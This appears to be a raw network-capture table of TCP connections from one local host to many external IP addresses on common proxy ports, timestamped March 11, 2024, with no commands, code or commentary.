Mar 11, 2024 16:42:19.742737055 CET	5678	50245	191.97.2.198	192.168.2.11
Mar 11, 2024 16:42:19.743623972 CET	5096	50225	165.154.227.154	192.168.2.11
Mar 11, 2024 16:42:19.744270086 CET	51016	33333	192.168.2.11	190.53.45.222
Mar 11, 2024 16:42:19.744558096 CET	8080	50854	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:19.744645119 CET	50854	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:19.744837046 CET	50854	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:19.746989012 CET	80	50881	47.242.234.237	192.168.2.11
Mar 11, 2024 16:42:19.747097969 CET	50881	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:19.747272015 CET	50881	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:19.747672081 CET	51018	58842	192.168.2.11	148.72.206.84
Mar 11, 2024 16:42:19.747677088 CET	51017	16379	192.168.2.11	51.158.98.197
Mar 11, 2024 16:42:19.748557091 CET	5432	50905	45.196.148.67	192.168.2.11
Mar 11, 2024 16:42:19.748641014 CET	50905	5432	192.168.2.11	45.196.148.67
Mar 11, 2024 16:42:19.748799086 CET	50905	5432	192.168.2.11	45.196.148.67
Mar 11, 2024 16:42:19.748876095 CET	51019	18080	192.168.2.11	60.188.102.225
Mar 11, 2024 16:42:19.750984907 CET	50250	5034	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:19.751014948 CET	50490	999	192.168.2.11	190.71.24.129
Mar 11, 2024 16:42:19.751029968 CET	50010	55137	192.168.2.11	192.169.197.146
Mar 11, 2024 16:42:19.751029968 CET	50521	30453	192.168.2.11	174.136.57.169
Mar 11, 2024 16:42:19.751029968 CET	49927	5678	192.168.2.11	181.78.13.91
Mar 11, 2024 16:42:19.751038074 CET	50405	4145	192.168.2.11	168.205.217.13
Mar 11, 2024 16:42:19.751049042 CET	50299	3128	192.168.2.11	38.54.116.9
Mar 11, 2024 16:42:19.751049042 CET	50311	999	192.168.2.11	181.78.19.248
Mar 11, 2024 16:42:19.751056910 CET	50306	8080	192.168.2.11	178.115.253.35
Mar 11, 2024 16:42:19.751056910 CET	49893	80	192.168.2.11	50.223.239.166
Mar 11, 2024 16:42:19.751060963 CET	50298	43100	192.168.2.11	192.163.201.131
Mar 11, 2024 16:42:19.751060963 CET	50289	3128	192.168.2.11	139.99.148.90
Mar 11, 2024 16:42:19.751060963 CET	50304	999	192.168.2.11	45.234.61.173
Mar 11, 2024 16:42:19.751058102 CET	50301	4153	192.168.2.11	103.84.178.2
Mar 11, 2024 16:42:19.751058102 CET	50300	2020	192.168.2.11	103.170.115.213
Mar 11, 2024 16:42:19.751058102 CET	50305	80	192.168.2.11	190.116.2.52
Mar 11, 2024 16:42:19.751070023 CET	50532	15864	192.168.2.11	192.252.214.20
Mar 11, 2024 16:42:19.751101017 CET	50309	65000	192.168.2.11	89.171.116.65
Mar 11, 2024 16:42:19.751102924 CET	50307	31042	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:19.751902103 CET	51020	23313	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.752378941 CET	51021	8000	192.168.2.11	198.199.83.206
Mar 11, 2024 16:42:19.758733034 CET	80	49834	50.172.218.160	192.168.2.11
Mar 11, 2024 16:42:19.759502888 CET	4145	50867	82.137.244.59	192.168.2.11
Mar 11, 2024 16:42:19.761147022 CET	4145	50875	177.125.206.40	192.168.2.11
Mar 11, 2024 16:42:19.761411905 CET	8080	50940	47.88.3.19	192.168.2.11
Mar 11, 2024 16:42:19.761560917 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:19.761584997 CET	50940	8080	192.168.2.11	47.88.3.19
Mar 11, 2024 16:42:19.762386084 CET	8118	49983	182.140.244.163	192.168.2.11
Mar 11, 2024 16:42:19.763055086 CET	3230	50944	104.238.111.107	192.168.2.11
Mar 11, 2024 16:42:19.763108015 CET	50944	3230	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.764156103 CET	80	50947	162.159.241.5	192.168.2.11
Mar 11, 2024 16:42:19.764224052 CET	50947	80	192.168.2.11	162.159.241.5
Mar 11, 2024 16:42:19.766622066 CET	49949	18067	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.766624928 CET	50500	16691	192.168.2.11	92.204.136.149
Mar 11, 2024 16:42:19.766632080 CET	49933	80	192.168.2.11	50.168.163.166
Mar 11, 2024 16:42:19.766638041 CET	49889	80	192.168.2.11	50.174.145.11
Mar 11, 2024 16:42:19.766643047 CET	50638	42624	192.168.2.11	162.214.164.200
Mar 11, 2024 16:42:19.766644001 CET	49950	26353	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:19.766648054 CET	50320	80	192.168.2.11	203.243.63.16
Mar 11, 2024 16:42:19.766653061 CET	50476	80	192.168.2.11	50.217.226.45
Mar 11, 2024 16:42:19.766653061 CET	50312	8765	192.168.2.11	203.161.30.10
Mar 11, 2024 16:42:19.766670942 CET	50445	4153	192.168.2.11	179.109.193.228
Mar 11, 2024 16:42:19.766670942 CET	50315	59341	192.168.2.11	109.75.34.152
Mar 11, 2024 16:42:19.766670942 CET	50399	4145	192.168.2.11	103.66.233.225
Mar 11, 2024 16:42:19.766683102 CET	50317	4153	192.168.2.11	177.91.76.34
Mar 11, 2024 16:42:19.766693115 CET	50319	4145	192.168.2.11	197.234.13.36
Mar 11, 2024 16:42:19.766695023 CET	50324	3128	192.168.2.11	62.171.184.96
Mar 11, 2024 16:42:19.767055035 CET	4145	50901	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:19.767112970 CET	50901	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.767926931 CET	3129	50051	20.219.177.85	192.168.2.11
Mar 11, 2024 16:42:19.769526005 CET	8193	50409	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.769848108 CET	80	50880	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:19.769949913 CET	50880	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:19.770212889 CET	54240	49796	200.25.254.193	192.168.2.11
Mar 11, 2024 16:42:19.770351887 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:19.770405054 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:19.771900892 CET	9002	50253	222.138.76.6	192.168.2.11
Mar 11, 2024 16:42:19.771913052 CET	9002	50253	222.138.76.6	192.168.2.11
Mar 11, 2024 16:42:19.771970034 CET	50253	9002	192.168.2.11	222.138.76.6
Mar 11, 2024 16:42:19.774560928 CET	8000	50657	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.774694920 CET	80	50457	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:19.774696112 CET	50657	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.774771929 CET	80	50457	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:19.774794102 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:19.775186062 CET	8000	50657	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.776982069 CET	8000	50878	128.199.184.169	192.168.2.11
Mar 11, 2024 16:42:19.780744076 CET	80	50248	50.217.226.44	192.168.2.11
Mar 11, 2024 16:42:19.781589985 CET	4153	50884	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:19.781686068 CET	50884	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:19.782217979 CET	50940	8080	192.168.2.11	47.88.3.19
Mar 11, 2024 16:42:19.782239914 CET	50512	5123	192.168.2.11	72.10.160.92
Mar 11, 2024 16:42:19.782241106 CET	50422	3128	192.168.2.11	188.56.223.85
Mar 11, 2024 16:42:19.782260895 CET	50549	34560	192.168.2.11	108.181.132.117
Mar 11, 2024 16:42:19.782260895 CET	50592	51535	192.168.2.11	162.241.66.135
Mar 11, 2024 16:42:19.782269001 CET	50159	24787	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:19.782269001 CET	50459	5836	192.168.2.11	185.158.248.95
Mar 11, 2024 16:42:19.782277107 CET	50318	8080	192.168.2.11	46.209.207.153
Mar 11, 2024 16:42:19.782290936 CET	50534	24397	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.782291889 CET	50322	4153	192.168.2.11	92.255.190.41
Mar 11, 2024 16:42:19.782291889 CET	50555	55994	192.168.2.11	38.127.172.219
Mar 11, 2024 16:42:19.782291889 CET	50335	34172	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:19.782310009 CET	50338	8811	192.168.2.11	51.158.68.68
Mar 11, 2024 16:42:19.782310963 CET	50336	999	192.168.2.11	190.95.195.105
Mar 11, 2024 16:42:19.782311916 CET	50325	5678	192.168.2.11	171.100.23.244
Mar 11, 2024 16:42:19.782311916 CET	50339	999	192.168.2.11	190.90.22.106
Mar 11, 2024 16:42:19.782311916 CET	50327	42771	192.168.2.11	162.240.239.103
Mar 11, 2024 16:42:19.782313108 CET	50337	39789	192.168.2.11	209.142.64.219
Mar 11, 2024 16:42:19.782311916 CET	50326	4145	192.168.2.11	202.124.46.97
Mar 11, 2024 16:42:19.782315969 CET	50332	999	192.168.2.11	190.97.238.88
Mar 11, 2024 16:42:19.782315969 CET	50329	83	192.168.2.11	103.48.68.101
Mar 11, 2024 16:42:19.782460928 CET	50333	1981	192.168.2.11	41.65.236.37
Mar 11, 2024 16:42:19.782460928 CET	50574	46783	192.168.2.11	162.241.158.204
Mar 11, 2024 16:42:19.782923937 CET	51022	80	192.168.2.11	45.12.30.231
Mar 11, 2024 16:42:19.784341097 CET	80	50899	50.174.145.12	192.168.2.11
Mar 11, 2024 16:42:19.784548044 CET	3128	50203	13.208.168.179	192.168.2.11
Mar 11, 2024 16:42:19.786276102 CET	80	49779	50.174.145.9	192.168.2.11
Mar 11, 2024 16:42:19.786592007 CET	80	50242	141.147.33.121	192.168.2.11
Mar 11, 2024 16:42:19.787173986 CET	80	50922	209.126.6.159	192.168.2.11
Mar 11, 2024 16:42:19.787234068 CET	50922	80	192.168.2.11	209.126.6.159
Mar 11, 2024 16:42:19.788033009 CET	51023	4145	192.168.2.11	199.102.104.70
Mar 11, 2024 16:42:19.788145065 CET	9191	50887	51.83.184.241	192.168.2.11
Mar 11, 2024 16:42:19.788245916 CET	50887	9191	192.168.2.11	51.83.184.241
Mar 11, 2024 16:42:19.788554907 CET	51024	20473	192.168.2.11	45.77.99.122
Mar 11, 2024 16:42:19.788836956 CET	51025	36363	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:19.788918972 CET	51026	2853	192.168.2.11	188.165.252.198
Mar 11, 2024 16:42:19.789110899 CET	51027	6332	192.168.2.11	38.45.44.51
Mar 11, 2024 16:42:19.789282084 CET	51028	8081	192.168.2.11	185.49.31.207
Mar 11, 2024 16:42:19.789282084 CET	50880	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:19.789457083 CET	50901	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.789552927 CET	50947	80	192.168.2.11	162.159.241.5
Mar 11, 2024 16:42:19.789675951 CET	50657	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.789717913 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:19.789851904 CET	50253	9002	192.168.2.11	222.138.76.6
Mar 11, 2024 16:42:19.790146112 CET	8080	50695	51.145.176.250	192.168.2.11
Mar 11, 2024 16:42:19.790380001 CET	50944	3230	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.790472031 CET	8083	50567	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:19.790529013 CET	50567	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.791064024 CET	8193	50409	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.791424990 CET	50922	80	192.168.2.11	209.126.6.159
Mar 11, 2024 16:42:19.791784048 CET	4145	50557	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.791946888 CET	4145	50557	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.792496920 CET	4145	50914	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.792529106 CET	51029	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:19.792552948 CET	50914	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.792653084 CET	51030	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.793206930 CET	50884	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:19.793231010 CET	22645	50928	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:19.793800116 CET	8083	50567	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:19.793819904 CET	50914	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.794253111 CET	80	50455	82.97.215.240	192.168.2.11
Mar 11, 2024 16:42:19.794317961 CET	50455	80	192.168.2.11	82.97.215.240
Mar 11, 2024 16:42:19.796832085 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:19.796896935 CET	33590	49735	85.120.30.66	192.168.2.11
Mar 11, 2024 16:42:19.797132015 CET	51031	32896	192.168.2.11	91.134.140.160
Mar 11, 2024 16:42:19.797856092 CET	50561	5529	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.797858953 CET	50191	8089	192.168.2.11	114.232.109.43
Mar 11, 2024 16:42:19.797869921 CET	50342	999	192.168.2.11	179.60.219.63
Mar 11, 2024 16:42:19.797884941 CET	50350	8181	192.168.2.11	103.234.28.211
Mar 11, 2024 16:42:19.797884941 CET	50330	8089	192.168.2.11	117.70.49.27
Mar 11, 2024 16:42:19.797884941 CET	50346	5678	192.168.2.11	201.144.20.231
Mar 11, 2024 16:42:19.797887087 CET	49964	17145	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:19.797888041 CET	50341	999	192.168.2.11	181.204.0.36
Mar 11, 2024 16:42:19.797887087 CET	50340	42571	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.797908068 CET	50344	8080	192.168.2.11	137.59.161.177
Mar 11, 2024 16:42:19.797910929 CET	50345	7890	192.168.2.11	116.5.187.116
Mar 11, 2024 16:42:19.797911882 CET	50601	60651	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:19.799937010 CET	8193	50898	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.800033092 CET	50898	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.800117970 CET	50898	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.801126003 CET	5678	50068	223.25.98.82	192.168.2.11
Mar 11, 2024 16:42:19.801143885 CET	50887	9191	192.168.2.11	51.83.184.241
Mar 11, 2024 16:42:19.801568985 CET	51032	5678	192.168.2.11	201.221.134.74
Mar 11, 2024 16:42:19.801706076 CET	51033	8085	192.168.2.11	179.48.80.9
Mar 11, 2024 16:42:19.801769972 CET	51034	4145	192.168.2.11	199.229.254.129
Mar 11, 2024 16:42:19.801996946 CET	3128	50773	134.209.29.120	192.168.2.11
Mar 11, 2024 16:42:19.802411079 CET	51035	38801	192.168.2.11	113.101.255.100
Mar 11, 2024 16:42:19.802671909 CET	50567	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.802762032 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:19.803216934 CET	51036	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.803220987 CET	51037	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:19.804375887 CET	19599	50386	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.805397987 CET	51038	3128	192.168.2.11	38.54.95.19
Mar 11, 2024 16:42:19.805565119 CET	4145	50888	101.109.251.42	192.168.2.11
Mar 11, 2024 16:42:19.807730913 CET	8000	50025	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:19.807836056 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:19.808090925 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:19.809993029 CET	80	50784	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.810437918 CET	80	50784	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.810668945 CET	8080	50378	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.811017036 CET	51039	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.811234951 CET	8080	50378	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.811285973 CET	3128	50873	5.189.158.162	192.168.2.11
Mar 11, 2024 16:42:19.811294079 CET	50378	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:19.811364889 CET	50873	3128	192.168.2.11	5.189.158.162
Mar 11, 2024 16:42:19.811568022 CET	50873	3128	192.168.2.11	5.189.158.162
Mar 11, 2024 16:42:19.811681032 CET	8181	50240	43.132.184.228	192.168.2.11
Mar 11, 2024 16:42:19.813514948 CET	50356	27102	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:19.813533068 CET	50357	4145	192.168.2.11	197.234.13.17
Mar 11, 2024 16:42:19.813548088 CET	50360	8080	192.168.2.11	95.57.216.118
Mar 11, 2024 16:42:19.813548088 CET	50353	80	192.168.2.11	115.42.45.1
Mar 11, 2024 16:42:19.813549995 CET	50349	8888	192.168.2.11	136.244.99.51
Mar 11, 2024 16:42:19.813549995 CET	50354	80	192.168.2.11	203.57.51.53
Mar 11, 2024 16:42:19.813550949 CET	50362	60964	192.168.2.11	192.163.202.88
Mar 11, 2024 16:42:19.813550949 CET	50469	4153	192.168.2.11	177.72.82.47
Mar 11, 2024 16:42:19.813560963 CET	50358	999	192.168.2.11	191.97.9.228
Mar 11, 2024 16:42:19.813563108 CET	50359	49202	192.168.2.11	51.161.131.84
Mar 11, 2024 16:42:19.813565016 CET	50351	999	192.168.2.11	201.71.3.42
Mar 11, 2024 16:42:19.813565016 CET	50363	8080	192.168.2.11	154.73.29.161
Mar 11, 2024 16:42:19.813571930 CET	3128	50691	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:19.813584089 CET	50348	8080	192.168.2.11	182.52.229.165
Mar 11, 2024 16:42:19.814542055 CET	4145	50828	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:19.814589977 CET	4145	50828	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:19.815107107 CET	18080	50711	152.32.130.117	192.168.2.11
Mar 11, 2024 16:42:19.815129042 CET	18080	50711	152.32.130.117	192.168.2.11
Mar 11, 2024 16:42:19.815288067 CET	50711	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.815546036 CET	51040	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:19.815615892 CET	50711	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.815881968 CET	51041	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.815969944 CET	16379	50096	51.158.108.134	192.168.2.11
Mar 11, 2024 16:42:19.816039085 CET	50096	16379	192.168.2.11	51.158.108.134
Mar 11, 2024 16:42:19.816042900 CET	3128	50691	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:19.816220999 CET	50096	16379	192.168.2.11	51.158.108.134
Mar 11, 2024 16:42:19.816399097 CET	50691	3128	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.818237066 CET	51042	58703	192.168.2.11	67.213.210.118
Mar 11, 2024 16:42:19.818938017 CET	51043	4153	192.168.2.11	190.15.216.237
Mar 11, 2024 16:42:19.819516897 CET	51044	4153	192.168.2.11	14.161.17.4
Mar 11, 2024 16:42:19.820020914 CET	51045	3128	192.168.2.11	68.183.180.222
Mar 11, 2024 16:42:19.820488930 CET	80	50964	50.207.199.85	192.168.2.11
Mar 11, 2024 16:42:19.821553946 CET	51046	1951	192.168.2.11	178.33.163.156
Mar 11, 2024 16:42:19.821603060 CET	51048	80	192.168.2.11	162.159.246.135
Mar 11, 2024 16:42:19.821686983 CET	51047	8080	192.168.2.11	197.232.47.122
Mar 11, 2024 16:42:19.822348118 CET	51049	52326	192.168.2.11	132.148.16.169
Mar 11, 2024 16:42:19.823204994 CET	51050	3128	192.168.2.11	37.156.146.163
Mar 11, 2024 16:42:19.824512005 CET	51051	8080	192.168.2.11	93.43.193.230
Mar 11, 2024 16:42:19.824908018 CET	4145	50927	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.824973106 CET	50927	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.825027943 CET	4153	50046	103.83.105.167	192.168.2.11
Mar 11, 2024 16:42:19.825174093 CET	50927	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.826160908 CET	51052	80	192.168.2.11	185.162.229.70
Mar 11, 2024 16:42:19.826622963 CET	8123	49761	20.24.43.214	192.168.2.11
Mar 11, 2024 16:42:19.827059031 CET	51053	45629	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:19.829022884 CET	51054	3128	192.168.2.11	140.227.204.70
Mar 11, 2024 16:42:19.829109907 CET	50355	6522	192.168.2.11	45.117.179.179
Mar 11, 2024 16:42:19.829113007 CET	50364	9050	192.168.2.11	45.113.80.37
Mar 11, 2024 16:42:19.829123020 CET	49982	25639	192.168.2.11	67.43.227.226
Mar 11, 2024 16:42:19.829123974 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:19.829132080 CET	49896	64768	192.168.2.11	173.212.250.16
Mar 11, 2024 16:42:19.829132080 CET	50368	2080	192.168.2.11	152.136.151.195
Mar 11, 2024 16:42:19.829133987 CET	50373	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:19.829137087 CET	50367	999	192.168.2.11	189.173.223.225
Mar 11, 2024 16:42:19.829139948 CET	50374	8080	192.168.2.11	103.176.96.132
Mar 11, 2024 16:42:19.832149029 CET	51055	12334	192.168.2.11	194.4.50.61
Mar 11, 2024 16:42:19.832448006 CET	51056	18636	192.168.2.11	51.79.87.144
Mar 11, 2024 16:42:19.833853006 CET	51058	7497	192.168.2.11	51.178.51.28
Mar 11, 2024 16:42:19.834059000 CET	5430	50690	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:19.834286928 CET	5430	50690	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:19.834721088 CET	80	49919	50.175.212.74	192.168.2.11
Mar 11, 2024 16:42:19.835575104 CET	51059	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:19.835941076 CET	51060	80	192.168.2.11	91.107.180.250
Mar 11, 2024 16:42:19.836908102 CET	51061	3128	192.168.2.11	45.159.189.244
Mar 11, 2024 16:42:19.838603973 CET	44374	50193	172.93.111.235	192.168.2.11
Mar 11, 2024 16:42:19.838680029 CET	50193	44374	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:19.838915110 CET	50193	44374	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:19.840790033 CET	51062	3180	192.168.2.11	143.208.152.61
Mar 11, 2024 16:42:19.841320038 CET	51063	31673	192.168.2.11	173.212.209.49
Mar 11, 2024 16:42:19.844223022 CET	51064	26887	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:19.844607115 CET	51065	999	192.168.2.11	37.148.217.234
Mar 11, 2024 16:42:19.844640017 CET	4153	50681	170.81.108.46	192.168.2.11
Mar 11, 2024 16:42:19.844719887 CET	50755	64110	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:19.844739914 CET	50371	80	192.168.2.11	91.65.102.60
Mar 11, 2024 16:42:19.844743013 CET	50372	3128	192.168.2.11	220.194.189.144
Mar 11, 2024 16:42:19.844743013 CET	50382	999	192.168.2.11	190.114.245.122
Mar 11, 2024 16:42:19.844763994 CET	50395	4145	192.168.2.11	110.77.232.172
Mar 11, 2024 16:42:19.844764948 CET	49800	3129	192.168.2.11	115.248.66.131
Mar 11, 2024 16:42:19.844769001 CET	50400	4153	192.168.2.11	103.95.97.42
Mar 11, 2024 16:42:19.844770908 CET	50383	37758	192.168.2.11	37.32.98.160
Mar 11, 2024 16:42:19.844770908 CET	50397	999	192.168.2.11	181.78.22.228
Mar 11, 2024 16:42:19.844788074 CET	50650	10801	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.844789028 CET	50390	8080	192.168.2.11	216.74.255.182
Mar 11, 2024 16:42:19.845256090 CET	51066	80	192.168.2.11	85.214.107.177
Mar 11, 2024 16:42:19.846046925 CET	4153	50681	170.81.108.46	192.168.2.11
Mar 11, 2024 16:42:19.846110106 CET	50681	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.846215010 CET	50681	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.846939087 CET	51067	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.847795010 CET	51068	8080	192.168.2.11	69.75.140.157
Mar 11, 2024 16:42:19.847939014 CET	80	50915	50.217.226.42	192.168.2.11
Mar 11, 2024 16:42:19.849020958 CET	51069	41146	192.168.2.11	135.148.10.161
Mar 11, 2024 16:42:19.849117041 CET	8000	49884	178.128.156.219	192.168.2.11
Mar 11, 2024 16:42:19.850128889 CET	51070	52395	192.168.2.11	164.92.237.188
Mar 11, 2024 16:42:19.850337982 CET	15673	50885	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.850661993 CET	20001	50960	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.850708961 CET	4145	50982	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.850765944 CET	50982	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:19.851542950 CET	25491	50435	67.43.227.230	192.168.2.11
Mar 11, 2024 16:42:19.851779938 CET	46656	50968	38.127.179.126	192.168.2.11
Mar 11, 2024 16:42:19.852008104 CET	4145	50310	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:19.852123022 CET	4145	50310	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:19.852660894 CET	80	50846	104.16.241.204	192.168.2.11
Mar 11, 2024 16:42:19.852807045 CET	51071	1929	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.853615046 CET	51072	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:19.855298996 CET	51073	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:19.855501890 CET	24815	50274	95.217.104.21	192.168.2.11
Mar 11, 2024 16:42:19.855650902 CET	51074	8199	192.168.2.11	36.64.22.18
Mar 11, 2024 16:42:19.855957985 CET	8080	50890	84.241.8.234	192.168.2.11
Mar 11, 2024 16:42:19.856003046 CET	80	50806	89.31.143.12	192.168.2.11
Mar 11, 2024 16:42:19.856338978 CET	80	50806	89.31.143.12	192.168.2.11
Mar 11, 2024 16:42:19.856352091 CET	80	50806	89.31.143.12	192.168.2.11
Mar 11, 2024 16:42:19.856410027 CET	50806	80	192.168.2.11	89.31.143.12
Mar 11, 2024 16:42:19.856575966 CET	50806	80	192.168.2.11	89.31.143.12
Mar 11, 2024 16:42:19.858558893 CET	3128	50308	194.145.209.187	192.168.2.11
Mar 11, 2024 16:42:19.858632088 CET	51075	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.858650923 CET	443	51075	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.858721018 CET	51075	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.859190941 CET	51075	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.859200954 CET	443	51075	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.859343052 CET	443	51075	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.859396935 CET	51076	80	192.168.2.11	50.168.72.113
Mar 11, 2024 16:42:19.860358953 CET	50391	62801	192.168.2.11	146.59.147.11
Mar 11, 2024 16:42:19.860379934 CET	50663	29197	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.860388041 CET	50582	80	192.168.2.11	50.173.140.148
Mar 11, 2024 16:42:19.860395908 CET	50401	5678	192.168.2.11	103.131.8.27
Mar 11, 2024 16:42:19.860395908 CET	50385	22735	192.168.2.11	91.142.222.84
Mar 11, 2024 16:42:19.860399008 CET	50590	80	192.168.2.11	50.222.245.41
Mar 11, 2024 16:42:19.860419989 CET	50392	46983	192.168.2.11	132.148.167.231
Mar 11, 2024 16:42:19.860420942 CET	50387	5678	192.168.2.11	36.67.14.195
Mar 11, 2024 16:42:19.860469103 CET	50404	3825	192.168.2.11	104.247.163.246
Mar 11, 2024 16:42:19.860470057 CET	50408	8080	192.168.2.11	27.54.71.231
Mar 11, 2024 16:42:19.860470057 CET	50415	80	192.168.2.11	154.118.228.212
Mar 11, 2024 16:42:19.860471010 CET	50406	6821	192.168.2.11	198.12.255.193
Mar 11, 2024 16:42:19.860471010 CET	50407	8888	192.168.2.11	217.219.74.130
Mar 11, 2024 16:42:19.860471010 CET	49835	3129	192.168.2.11	20.204.212.76
Mar 11, 2024 16:42:19.860477924 CET	50417	49685	192.168.2.11	195.154.243.38
Mar 11, 2024 16:42:19.860496044 CET	50413	20435	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.860496044 CET	50418	4145	192.168.2.11	92.207.253.226
Mar 11, 2024 16:42:19.860511065 CET	50402	41746	192.168.2.11	51.79.87.144
Mar 11, 2024 16:42:19.860515118 CET	50416	29212	192.168.2.11	92.204.135.203
Mar 11, 2024 16:42:19.860515118 CET	51077	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.860536098 CET	443	51077	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.860668898 CET	51077	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.860786915 CET	8080	50377	91.148.127.162	192.168.2.11
